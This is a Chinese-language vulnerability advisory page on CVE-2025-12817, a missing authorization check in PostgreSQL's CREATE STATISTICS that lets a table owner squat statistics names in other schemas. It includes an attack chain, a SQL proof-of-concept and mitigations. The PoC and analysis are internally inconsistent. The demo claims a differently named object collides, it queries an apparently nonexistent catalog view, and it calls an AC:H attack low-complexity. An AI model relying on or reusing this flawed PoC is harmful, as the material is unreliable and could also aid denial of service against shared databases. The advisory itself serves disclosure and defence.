IPBUF安全漏洞报告
English
CVE-2025-12817 CVSS 3.1 低危

CVE-2025-12817: PostgreSQL CREATE STATISTICS命令权限缺失导致拒绝服务

披露日期: 2025-11-13
来源: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

漏洞信息

漏洞编号
CVE-2025-12817
漏洞类型
权限/授权缺失
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PostgreSQL

相关标签

PostgreSQL权限缺失拒绝服务CREATE STATISTICS授权绕过数据库安全

漏洞概述

CVE-2025-12817是PostgreSQL数据库中的一个授权缺失漏洞。该漏洞存在于PostgreSQL的CREATE STATISTICS命令中,允许表所有者在任何schema中创建统计信息对象,而无需进行适当的授权检查。攻击者(表所有者)可以利用此漏洞在公共schema或他人schema中创建同名统计信息对象,导致后续合法用户尝试创建同名统计信息时失败,从而实现对其他用户的拒绝服务攻击。此漏洞影响PostgreSQL多个重要版本,包括18.x、17.x、16.x、15.x、14.x和13.x系列。由于CVSS评分为3.1且攻击复杂度较高(需要特定条件),被评定为低危漏洞,但仍然可能影响数据库的正常使用和管理操作。

技术细节

PostgreSQL的CREATE STATISTICS命令用于创建扩展统计信息对象,帮助优化器生成更好的查询执行计划。漏洞的核心问题在于该命令缺少充分的授权检查机制。具体来说,当前的实现允许任何表所有者在任意schema中创建统计信息,即使该用户对目标schema没有CREATE权限。攻击流程如下:1) 攻击者作为表所有者,连接到数据库;2) 攻击者使用CREATE STATISTICS命令在任意schema(如public或其他用户的schema)中创建统计信息对象;3) 当其他合法用户(拥有CREATE权限)尝试在相同位置创建同名统计信息时,由于对象已存在且属于不同所有者,操作失败;4) 合法用户无法获得统计信息的性能优化优势,甚至可能遇到查询规划错误。此漏洞需要低权限用户身份(PR:L),但攻击复杂度较低(AC:H表示需要特定条件),攻击者需要了解目标数据库的schema结构。

攻击链分析

STEP 1
步骤1
攻击者获取数据库低权限账户,该账户至少拥有一个表的访问权限
STEP 2
步骤2
攻击者使用CREATE STATISTICS命令在任意schema(如public或其他用户的schema)中创建统计信息对象
STEP 3
步骤3
由于缺少授权检查,操作成功执行,统计信息对象被创建在攻击者选择的schema中
STEP 4
步骤4
当其他合法用户尝试在同一schema中创建同名统计信息时,由于对象已存在,操作失败
STEP 5
步骤5
合法用户无法获得预期的统计信息优化,可能导致查询性能下降或执行计划错误

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
-- PoC for CVE-2025-12817: PostgreSQL CREATE STATISTICS Authorization Issue -- This PoC demonstrates how a low-privilege user can cause DoS against other users -- Attacker setup: Create a low-privilege user who owns a table CREATE USER attacker WITH LOGIN; CREATE DATABASE test_db; \c test_db attacker -- Attacker creates a table they own CREATE TABLE attacker_data (id INT, value TEXT); INSERT INTO attacker_data VALUES (1, 'test'); -- Attacker creates statistics in public schema (even without explicit CREATE privilege) -- This is the vulnerability - no proper authorization check CREATE STATISTICS public.attacker_stats ON id, value FROM attacker_data; -- Now legitimate user trying to create statistics with same name will fail -- Other user connection \c test_db postgres -- If another user tries to create statistics with same name in public schema -- CREATE STATISTICS public.legitimate_stats ON id, value FROM some_other_table; -- This will fail because 'attacker_stats' already exists in public schema -- Error: could not create statistics object "attacker_stats" for relation... -- Verification: Check statistics objects SELECT schemaname, statistickind, owner_name, object_name FROM pg_statistic_ext_info; -- Cleanup DROP STATISTICS IF EXISTS public.attacker_stats; DROP TABLE attacker_data; DROP USER attacker;

影响范围

PostgreSQL < 13.23
PostgreSQL < 14.20
PostgreSQL < 15.15
PostgreSQL < 16.11
PostgreSQL < 17.7
PostgreSQL < 18.1

防御指南

临时缓解措施
在官方补丁发布前,建议:1) 审查所有用户对各schema的CREATE权限,确保只有必要用户拥有CREATE权限;2) 监控数据库审计日志,关注异常的CREATE STATISTICS命令执行;3) 考虑禁用非管理员用户的CREATE STATISTICS权限;4) 定期检查pg_statistic_ext_info视图,识别异常创建的统计信息对象;5) 隔离不同用户的数据库对象到独立schema中,减少冲突可能性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表